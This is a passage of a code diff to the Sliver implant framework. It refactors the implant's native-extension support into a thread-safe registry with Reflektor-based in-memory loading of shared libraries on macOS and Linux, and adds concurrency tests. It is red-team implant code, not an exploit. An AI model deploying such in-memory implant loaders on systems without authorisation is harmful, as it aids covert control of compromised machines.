github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0 h1:1sdnMvqxxlMXsu8ku/Xrh6gi3V40ykksst5fd0lfWnc=
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc h1:7D+Bh06CRPCJO3gr2F7h1sriovOZ8BMhca2Rg85c2nk=
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
||||
github.com/Microsoft/go-winio v0.6.0 h1:slsWYD/zyx7lCXoZVlvQrj0hPTM1HI4+v1sIda2yDvg=
|
||||
github.com/Microsoft/go-winio v0.6.0/go.mod h1:cTAf44im0RAYeL23bpB+fzCyDH2MJiz2BO69KH/soAE=
|
||||
github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4=
|
||||
github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/ebitengine/purego v0.10.1 h1:dewVBCBT2GaMu1SrNTYxQhgQBethzfhiwvZiLGP/qyY=
|
||||
github.com/ebitengine/purego v0.10.1/go.mod h1:iIjxzd6CiRiOG0UyXP+V1+jWqUXVjPKLAI0mRfJZTmQ=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
|
||||
github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw=
|
||||
@@ -43,12 +37,11 @@ github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
|
||||
github.com/sliverarmory/reflektor v0.0.2 h1:nrEEFXrYiYFLCqyMpOJpe4RsY0Pu3tc1CvwChsNoAq4=
|
||||
github.com/sliverarmory/reflektor v0.0.2/go.mod h1:Rw7qTWQQlCM3YTxxeuklFt3Q+kh1Ytlmzg5UVw1Nhkg=
|
||||
github.com/sliverarmory/reflektor v0.0.6 h1:iW492LhJ6yeG3u647mJgyhdTbjrZZNnw8bks4UxIL1s=
|
||||
github.com/sliverarmory/reflektor v0.0.6/go.mod h1:+lCyQy0xHVqx6D5nYbcz5XIDVtAGbDMIMU0Yc6Brb1s=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
|
||||
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
|
||||
github.com/tetratelabs/wazero v1.7.1 h1:QtSfd6KLc41DIMpDYlJdoMc6k7QTN246DM2+n2Y/Dx8=
|
||||
@@ -82,7 +75,6 @@ golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
|
||||
@@ -2,13 +2,15 @@
|
||||
|
||||
## Overview
|
||||
|
||||
Extension host runtime allowing implants to load optional capabilities. Manages sandboxing, lifecycle, and communication with extension modules. Runtime components handle extension darwin, extension windows, memfs, and WASM for implant-side extension features.
|
||||
Extension host runtime allowing implants to load optional capabilities. Manages native shared-library and WASM extension lifecycle, registration, and communication across supported implant platforms.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `extension.go` – Core extension host that loads modules and brokers RPC communication.
|
||||
- `extension_darwin.go` – macOS-specific stubs and build tags for extension support.
|
||||
- `extension_windows.go` – Windows-specific integration for loading and managing extensions.
|
||||
- `extension.go` – Thread-safe native extension registry and single-flight loading lifecycle.
|
||||
- `extension_darwin.go` – macOS constructor for the shared Reflektor-backed Unix loader.
|
||||
- `extension_linux.go` – Linux constructor for the shared Reflektor-backed Unix loader.
|
||||
- `extension_unix.go` – CGO-free macOS/Linux loading, export invocation, and callback bridge.
|
||||
- `extension_windows.go` – Windows-specific Reflektor integration for loading and invoking extensions.
|
||||
- `memfs.go` – Implements the in-memory filesystem backing extension assets.
|
||||
- `memfs_test.go` *(tests)* – Tests the in-memory filesystem behavior for extensions.
|
||||
- `wasm.go` – Sets up the WASM runtime for implant extensions and handles module lifecycle.
|
||||
|
||||
@@ -20,13 +20,31 @@ package extension
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"sync"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
var extensions map[string]Extension
|
||||
const (
|
||||
// Success indicates that a native extension callback completed successfully.
|
||||
Success = 0
|
||||
// Failure indicates that a native extension callback failed.
|
||||
Failure = 1
|
||||
)
|
||||
|
||||
var (
|
||||
extensions map[string]Extension
|
||||
extensionLoads map[string]*extensionLoad
|
||||
extensionsMu sync.RWMutex
|
||||
)
|
||||
|
||||
type extensionLoad struct {
|
||||
done chan struct{}
|
||||
err error
|
||||
waiters int
|
||||
}
|
||||
|
||||
type Extension interface {
|
||||
Load() error
|
||||
@@ -36,10 +54,47 @@ type Extension interface {
|
||||
}
|
||||
|
||||
func Add(e Extension) {
|
||||
extensionsMu.Lock()
|
||||
defer extensionsMu.Unlock()
|
||||
extensions[e.GetID()] = e
|
||||
}
|
||||
|
||||
// Register loads an extension once per ID and publishes it only after loading
|
||||
// succeeds. Concurrent registrations for the same ID wait for the in-flight
|
||||
// load instead of mapping duplicate libraries and allocating duplicate callback
|
||||
// trampolines.
|
||||
func Register(e Extension) error {
|
||||
id := e.GetID()
|
||||
extensionsMu.Lock()
|
||||
if _, found := extensions[id]; found {
|
||||
extensionsMu.Unlock()
|
||||
return nil
|
||||
}
|
||||
if loading, found := extensionLoads[id]; found {
|
||||
loading.waiters++
|
||||
extensionsMu.Unlock()
|
||||
<-loading.done
|
||||
return loading.err
|
||||
}
|
||||
loading := &extensionLoad{done: make(chan struct{})}
|
||||
extensionLoads[id] = loading
|
||||
extensionsMu.Unlock()
|
||||
|
||||
err := e.Load()
|
||||
extensionsMu.Lock()
|
||||
if err == nil {
|
||||
extensions[id] = e
|
||||
}
|
||||
loading.err = err
|
||||
close(loading.done)
|
||||
delete(extensionLoads, id)
|
||||
extensionsMu.Unlock()
|
||||
return err
|
||||
}
|
||||
|
||||
func List() []string {
|
||||
extensionsMu.RLock()
|
||||
defer extensionsMu.RUnlock()
|
||||
var extList []string
|
||||
for id := range extensions {
|
||||
extList = append(extList, id)
|
||||
@@ -48,10 +103,15 @@ func List() []string {
|
||||
}
|
||||
|
||||
func Run(extID string, funcName string, arguments []byte, callback func([]byte)) error {
|
||||
if ext, found := extensions[extID]; found {
|
||||
extensionsMu.RLock()
|
||||
ext, found := extensions[extID]
|
||||
extensionsMu.RUnlock()
|
||||
if found {
|
||||
return ext.Call(funcName, arguments, callback)
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
extensionsMu.RLock()
|
||||
defer extensionsMu.RUnlock()
|
||||
for id, ext := range extensions {
|
||||
log.Printf("Extension '%s' (%s)", id, ext.GetArch())
|
||||
}
|
||||
@@ -61,4 +121,5 @@ func Run(extID string, funcName string, arguments []byte, callback func([]byte))
|
||||
|
||||
func init() {
|
||||
extensions = make(map[string]Extension)
|
||||
extensionLoads = make(map[string]*extensionLoad)
|
||||
}
|
||||
@@ -18,113 +18,10 @@ package extension
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"runtime"
|
||||
"sync"
|
||||
"unsafe"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/Binject/universal"
|
||||
)
|
||||
|
||||
type DarwinExtension struct {
|
||||
id string
|
||||
data []byte
|
||||
module *universal.Library
|
||||
arch string
|
||||
serverStore bool
|
||||
init string
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
type extensionArguments struct {
|
||||
inDataSize uintptr
|
||||
inDataBuff uintptr
|
||||
outDataSize uintptr
|
||||
outDataBuff uintptr
|
||||
}
|
||||
// DarwinExtension is a Reflektor-backed native macOS extension.
|
||||
type DarwinExtension = UnixExtension
|
||||
|
||||
// NewDarwinExtension creates a native macOS extension backed by Reflektor.
|
||||
func NewDarwinExtension(data []byte, id string, arch string, init string) *DarwinExtension {
|
||||
return &DarwinExtension{
|
||||
id: id,
|
||||
data: data,
|
||||
arch: arch,
|
||||
init: init,
|
||||
}
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) GetID() string {
|
||||
return d.id
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) GetArch() string {
|
||||
return d.arch
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) Load() error {
|
||||
var err error
|
||||
d.Lock()
|
||||
defer d.Unlock()
|
||||
loader, err := universal.NewLoader()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
d.module, err = loader.LoadLibrary(d.id, &d.data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if d.init != "" {
|
||||
if _, errInit := d.module.Call(d.init); errInit != nil {
|
||||
return errInit
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
|
||||
// We currently have 2 issues with Darwin extensions:
|
||||
// - cppgo (used by universal) fucks up when calling a function with more than 1 argument
|
||||
// - we don't have Go callback support for the loaded extension,
|
||||
// so we have to wait for the call to finish to get the results
|
||||
// To circumvent these issues, we pass the extensionArguments structure
|
||||
// as the only argument to the call, so we can pass args in and extract
|
||||
// the result at the same time.
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
extArgs := extensionArguments{}
|
||||
if len(arguments) > 0 {
|
||||
extArgs.inDataBuff = uintptr(unsafe.Pointer(&arguments[0]))
|
||||
extArgs.inDataSize = uintptr(uint64(len(arguments)))
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Calling %s, arg size: %d\n", export, extArgs.inDataSize)
|
||||
// {{end}}
|
||||
d.Lock()
|
||||
defer d.Unlock()
|
||||
_, err := d.module.Call(export, uintptr(unsafe.Pointer(&extArgs)))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("%s done!\n", export)
|
||||
// {{end}}
|
||||
outData := new(bytes.Buffer)
|
||||
outDataSize := int(extArgs.outDataSize)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Out data size: %d\n", outDataSize)
|
||||
// {{end}}
|
||||
for i := 0; i < outDataSize; i++ {
|
||||
b := (*byte)(unsafe.Pointer(uintptr(i) + extArgs.outDataBuff))
|
||||
outData.WriteByte(*b)
|
||||
}
|
||||
// We currently don't have a way to trigger a callback
|
||||
// in the loaded code for Darwin.
|
||||
if outData.Len() > 0 {
|
||||
onFinish(outData.Bytes())
|
||||
}
|
||||
return nil
|
||||
return newUnixExtension(data, id, arch, init)
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
//go:build 386 || amd64 || arm64
|
||||
|
||||
package extension
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// LinuxExtension is a Reflektor-backed native Linux extension.
|
||||
type LinuxExtension = UnixExtension
|
||||
|
||||
// NewLinuxExtension creates a native Linux extension backed by Reflektor.
|
||||
func NewLinuxExtension(data []byte, id string, arch string, init string) *LinuxExtension {
|
||||
return newUnixExtension(data, id, arch, init)
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
//go:build !(386 || amd64 || arm64)
|
||||
|
||||
package extension
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import "errors"
|
||||
|
||||
// LinuxExtension reports unsupported native-extension operations on Linux
|
||||
// architectures without a Reflektor backend.
|
||||
type LinuxExtension struct {
|
||||
id string
|
||||
arch string
|
||||
}
|
||||
|
||||
// NewLinuxExtension creates an unsupported-architecture extension placeholder.
|
||||
func NewLinuxExtension(_ []byte, id string, arch string, _ string) *LinuxExtension {
|
||||
return &LinuxExtension{id: id, arch: arch}
|
||||
}
|
||||
|
||||
// GetID returns the extension identifier.
|
||||
func (l *LinuxExtension) GetID() string {
|
||||
return l.id
|
||||
}
|
||||
|
||||
// GetArch returns the extension architecture.
|
||||
func (l *LinuxExtension) GetArch() string {
|
||||
return l.arch
|
||||
}
|
||||
|
||||
// Load reports that native extensions are unsupported on this architecture.
|
||||
func (l *LinuxExtension) Load() error {
|
||||
return errors.New("{{if .Config.Debug}} native extensions are not supported on this Linux architecture {{end}}")
|
||||
}
|
||||
|
||||
// Call reports that native extensions are unsupported on this architecture.
|
||||
func (l *LinuxExtension) Call(_ string, _ []byte, _ func([]byte)) error {
|
||||
return errors.New("{{if .Config.Debug}} native extensions are not supported on this Linux architecture {{end}}")
|
||||
}
|
||||
@@ -0,0 +1,236 @@
|
||||
package extension
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"runtime"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
type testExtension struct {
|
||||
id string
|
||||
}
|
||||
|
||||
func (e *testExtension) Load() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (e *testExtension) Call(_ string, arguments []byte, callback func([]byte)) error {
|
||||
callback(arguments)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (e *testExtension) GetID() string {
|
||||
return e.id
|
||||
}
|
||||
|
||||
func (e *testExtension) GetArch() string {
|
||||
return "test"
|
||||
}
|
||||
|
||||
type registeringTestExtension struct {
|
||||
testExtension
|
||||
loadCalls *atomic.Int32
|
||||
loadErr error
|
||||
started chan struct{}
|
||||
release chan struct{}
|
||||
}
|
||||
|
||||
func (e *registeringTestExtension) Load() error {
|
||||
e.loadCalls.Add(1)
|
||||
if e.started != nil {
|
||||
close(e.started)
|
||||
}
|
||||
if e.release != nil {
|
||||
<-e.release
|
||||
}
|
||||
return e.loadErr
|
||||
}
|
||||
|
||||
func resetExtensionRegistry(t *testing.T) {
|
||||
t.Helper()
|
||||
extensionsMu.Lock()
|
||||
previousExtensions := extensions
|
||||
previousLoads := extensionLoads
|
||||
extensions = make(map[string]Extension)
|
||||
extensionLoads = make(map[string]*extensionLoad)
|
||||
extensionsMu.Unlock()
|
||||
t.Cleanup(func() {
|
||||
extensionsMu.Lock()
|
||||
extensions = previousExtensions
|
||||
extensionLoads = previousLoads
|
||||
extensionsMu.Unlock()
|
||||
})
|
||||
}
|
||||
|
||||
func waitForExtensionWaiters(t *testing.T, extensionID string, want int) {
|
||||
t.Helper()
|
||||
deadline := time.Now().Add(time.Second)
|
||||
for {
|
||||
extensionsMu.RLock()
|
||||
loading := extensionLoads[extensionID]
|
||||
got := 0
|
||||
if loading != nil {
|
||||
got = loading.waiters
|
||||
}
|
||||
extensionsMu.RUnlock()
|
||||
if got == want {
|
||||
return
|
||||
}
|
||||
if time.Now().After(deadline) {
|
||||
t.Fatalf("registration waiters = %d, want %d", got, want)
|
||||
}
|
||||
runtime.Gosched()
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtensionRegistryConcurrentAccess(t *testing.T) {
|
||||
resetExtensionRegistry(t)
|
||||
|
||||
const count = 64
|
||||
errCh := make(chan error, count)
|
||||
var waitGroup sync.WaitGroup
|
||||
for index := 0; index < count; index++ {
|
||||
index := index
|
||||
waitGroup.Add(1)
|
||||
go func() {
|
||||
defer waitGroup.Done()
|
||||
id := fmt.Sprintf("extension-%d", index)
|
||||
Add(&testExtension{id: id})
|
||||
argument := []byte(id)
|
||||
if err := Run(id, "run", argument, func(output []byte) {
|
||||
if string(output) != id {
|
||||
errCh <- fmt.Errorf("callback output = %q, want %q", output, id)
|
||||
}
|
||||
}); err != nil {
|
||||
errCh <- err
|
||||
}
|
||||
_ = List()
|
||||
}()
|
||||
}
|
||||
waitGroup.Wait()
|
||||
close(errCh)
|
||||
for err := range errCh {
|
||||
t.Error(err)
|
||||
}
|
||||
|
||||
if got := len(List()); got != count {
|
||||
t.Fatalf("List returned %d extensions, want %d", got, count)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisterLoadsExtensionOnlyOnce(t *testing.T) {
|
||||
resetExtensionRegistry(t)
|
||||
|
||||
const extensionID = "duplicate-extension"
|
||||
var loadCalls atomic.Int32
|
||||
started := make(chan struct{})
|
||||
release := make(chan struct{})
|
||||
first := ®isteringTestExtension{
|
||||
testExtension: testExtension{id: extensionID},
|
||||
loadCalls: &loadCalls,
|
||||
started: started,
|
||||
release: release,
|
||||
}
|
||||
|
||||
const registrations = 16
|
||||
errorsCh := make(chan error, registrations)
|
||||
go func() {
|
||||
errorsCh <- Register(first)
|
||||
}()
|
||||
<-started
|
||||
for index := 1; index < registrations; index++ {
|
||||
go func() {
|
||||
errorsCh <- Register(®isteringTestExtension{
|
||||
testExtension: testExtension{id: extensionID},
|
||||
loadCalls: &loadCalls,
|
||||
})
|
||||
}()
|
||||
}
|
||||
waitForExtensionWaiters(t, extensionID, registrations-1)
|
||||
select {
|
||||
case err := <-errorsCh:
|
||||
t.Fatalf("Register returned before the in-flight load completed: %v", err)
|
||||
default:
|
||||
}
|
||||
close(release)
|
||||
for index := 0; index < registrations; index++ {
|
||||
if err := <-errorsCh; err != nil {
|
||||
t.Fatalf("Register returned an error: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
if got := loadCalls.Load(); got != 1 {
|
||||
t.Fatalf("Load called %d times, want 1", got)
|
||||
}
|
||||
if got := List(); len(got) != 1 || got[0] != extensionID {
|
||||
t.Fatalf("List returned %q, want [%q]", got, extensionID)
|
||||
}
|
||||
|
||||
if err := Register(®isteringTestExtension{
|
||||
testExtension: testExtension{id: extensionID},
|
||||
loadCalls: &loadCalls,
|
||||
}); err != nil {
|
||||
t.Fatalf("repeat Register returned an error: %v", err)
|
||||
}
|
||||
if got := loadCalls.Load(); got != 1 {
|
||||
t.Fatalf("repeat Register called Load; total calls = %d, want 1", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisterRetriesAfterFailedLoad(t *testing.T) {
|
||||
resetExtensionRegistry(t)
|
||||
|
||||
const extensionID = "retry-extension"
|
||||
var loadCalls atomic.Int32
|
||||
wantErr := errors.New("load failed")
|
||||
started := make(chan struct{})
|
||||
release := make(chan struct{})
|
||||
const registrations = 8
|
||||
errorsCh := make(chan error, registrations)
|
||||
go func() {
|
||||
errorsCh <- Register(®isteringTestExtension{
|
||||
testExtension: testExtension{id: extensionID},
|
||||
loadCalls: &loadCalls,
|
||||
loadErr: wantErr,
|
||||
started: started,
|
||||
release: release,
|
||||
})
|
||||
}()
|
||||
<-started
|
||||
for index := 1; index < registrations; index++ {
|
||||
go func() {
|
||||
errorsCh <- Register(®isteringTestExtension{
|
||||
testExtension: testExtension{id: extensionID},
|
||||
loadCalls: &loadCalls,
|
||||
loadErr: errors.New("unexpected follower load"),
|
||||
})
|
||||
}()
|
||||
}
|
||||
waitForExtensionWaiters(t, extensionID, registrations-1)
|
||||
close(release)
|
||||
for index := 0; index < registrations; index++ {
|
||||
if err := <-errorsCh; !errors.Is(err, wantErr) {
|
||||
t.Fatalf("Register error = %v, want shared error %v", err, wantErr)
|
||||
}
|
||||
}
|
||||
if got := loadCalls.Load(); got != 1 {
|
||||
t.Fatalf("failed Load called %d times, want 1", got)
|
||||
}
|
||||
if got := List(); len(got) != 0 {
|
||||
t.Fatalf("failed extension was published: %q", got)
|
||||
}
|
||||
|
||||
if err := Register(®isteringTestExtension{
|
||||
testExtension: testExtension{id: extensionID},
|
||||
loadCalls: &loadCalls,
|
||||
}); err != nil {
|
||||
t.Fatalf("retry Register returned an error: %v", err)
|
||||
}
|
||||
if got := loadCalls.Load(); got != 2 {
|
||||
t.Fatalf("Load called %d times, want 2", got)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,174 @@
|
||||
//go:build (darwin && (amd64 || arm64)) || (linux && (386 || amd64 || arm64))
|
||||
|
||||
package extension
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"runtime"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"unsafe"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/ebitengine/purego"
|
||||
reflektor "github.com/sliverarmory/reflektor/native"
|
||||
)
|
||||
|
||||
type extensionCall struct {
|
||||
onFinish func([]byte)
|
||||
}
|
||||
|
||||
// UnixExtension is a Reflektor-backed native extension for supported Unix
|
||||
// targets.
|
||||
type UnixExtension struct {
|
||||
id string
|
||||
data []byte
|
||||
module *reflektor.Library
|
||||
arch string
|
||||
init string
|
||||
callback uintptr
|
||||
active atomic.Pointer[extensionCall]
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
func newUnixExtension(data []byte, id string, arch string, init string) *UnixExtension {
|
||||
return &UnixExtension{
|
||||
id: id,
|
||||
data: data,
|
||||
arch: arch,
|
||||
init: init,
|
||||
}
|
||||
}
|
||||
|
||||
// GetID returns the extension identifier.
|
||||
func (u *UnixExtension) GetID() string {
|
||||
return u.id
|
||||
}
|
||||
|
||||
// GetArch returns the extension architecture.
|
||||
func (u *UnixExtension) GetArch() string {
|
||||
return u.arch
|
||||
}
|
||||
|
||||
// Load maps the extension and invokes its optional initialization export.
|
||||
func (u *UnixExtension) Load() error {
|
||||
if len(u.data) == 0 {
|
||||
return errors.New("{{if .Config.Debug}} extension data is empty {{end}}")
|
||||
}
|
||||
|
||||
u.Lock()
|
||||
defer u.Unlock()
|
||||
if u.module != nil {
|
||||
return errors.New("{{if .Config.Debug}} module already loaded {{end}}")
|
||||
}
|
||||
|
||||
module, err := reflektor.LoadLibrary(u.data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if u.init != "" {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Calling %s\n", u.init)
|
||||
// {{end}}
|
||||
if err := module.CallExport(u.init); err != nil {
|
||||
_ = module.Close()
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
callback, err := newUnixExtensionCallback(u)
|
||||
if err != nil {
|
||||
_ = module.Close()
|
||||
return err
|
||||
}
|
||||
u.callback = callback
|
||||
u.module = module
|
||||
return nil
|
||||
}
|
||||
|
||||
// Call invokes an extension export with the native extension callback ABI.
|
||||
func (u *UnixExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
|
||||
u.Lock()
|
||||
defer u.Unlock()
|
||||
if u.module == nil {
|
||||
return errors.New("{{if .Config.Debug}} module not loaded {{end}}")
|
||||
}
|
||||
if uint64(len(arguments)) > uint64(^uint32(0)) {
|
||||
return errors.New("{{if .Config.Debug}} extension arguments exceed uint32 size {{end}}")
|
||||
}
|
||||
|
||||
var argumentsPtr uintptr
|
||||
if len(arguments) > 0 {
|
||||
argumentsPtr = uintptr(unsafe.Pointer(&arguments[0]))
|
||||
}
|
||||
argumentsSize := uintptr(uint32(len(arguments)))
|
||||
call := &extensionCall{onFinish: onFinish}
|
||||
u.active.Store(call)
|
||||
defer u.active.Store(nil)
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Calling %s, arguments addr: 0x%08x, args size: %08x\n", export, argumentsPtr, argumentsSize)
|
||||
// {{end}}
|
||||
_, err := u.module.CallExportWithArgs(export, argumentsPtr, argumentsSize, u.callback)
|
||||
runtime.KeepAlive(arguments)
|
||||
runtime.KeepAlive(call)
|
||||
return err
|
||||
}
|
||||
|
||||
func newUnixExtensionCallback(extension *UnixExtension) (callback uintptr, err error) {
|
||||
defer func() {
|
||||
if recovered := recover(); recovered != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to create extension callback: %v\n", recovered)
|
||||
// {{end}}
|
||||
callback = 0
|
||||
err = errors.New("{{if .Config.Debug}} failed to create extension callback {{end}}")
|
||||
}
|
||||
}()
|
||||
return purego.NewCallback(extension.extensionCallback), nil
|
||||
}
|
||||
|
||||
func (u *UnixExtension) extensionCallback(data unsafe.Pointer, dataLen int32) (result int32) {
|
||||
result = Failure
|
||||
defer func() {
|
||||
if recover() != nil {
|
||||
result = Failure
|
||||
}
